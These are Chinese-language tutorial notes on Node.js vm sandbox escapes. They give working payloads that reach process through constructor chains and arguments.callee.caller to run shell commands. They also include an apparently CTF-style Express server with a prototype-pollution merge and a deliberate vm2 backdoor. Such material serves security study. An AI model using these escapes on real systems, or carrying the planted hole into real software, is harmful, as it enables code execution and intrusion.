当this指向window
原理
1.this直接指向window,拿到window的tostring的constructor来利用构造函数拿到process
是对象且指向沙箱外部,才可以利用
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
当this指向null,且没有其他对象可用
使用arguments.callee.caller在沙盒内定义一个函数并返回,让外部对象调用这个函数,此时arguments.callee就是该对象了,然后再用constructor利用构造函数拿到process
arguments.callee就是调用函数本身(可以理解成等于函数本身,但没有指向)
arguments.caller就是指谁调用了自己(指向一个函数)
arguments.callee.caller就是指向了某个调用自己的方法,这样就可以通过处在沙箱外的这个方法的构造函数拿到process了
1.
此时要触发这个tostring方法,就需要沙箱外有执行字符串的相关操作,
可以console.log('hello' + res),来利用拼接的方式让res变成一个字符串
因为在js中,例如this、对象等和字符串拼接都会自动调用tostring方法然后变成一个字符串
就触发了tostring方法
const vm = require('vm');
const script =`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello'+res);
漏洞复现
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});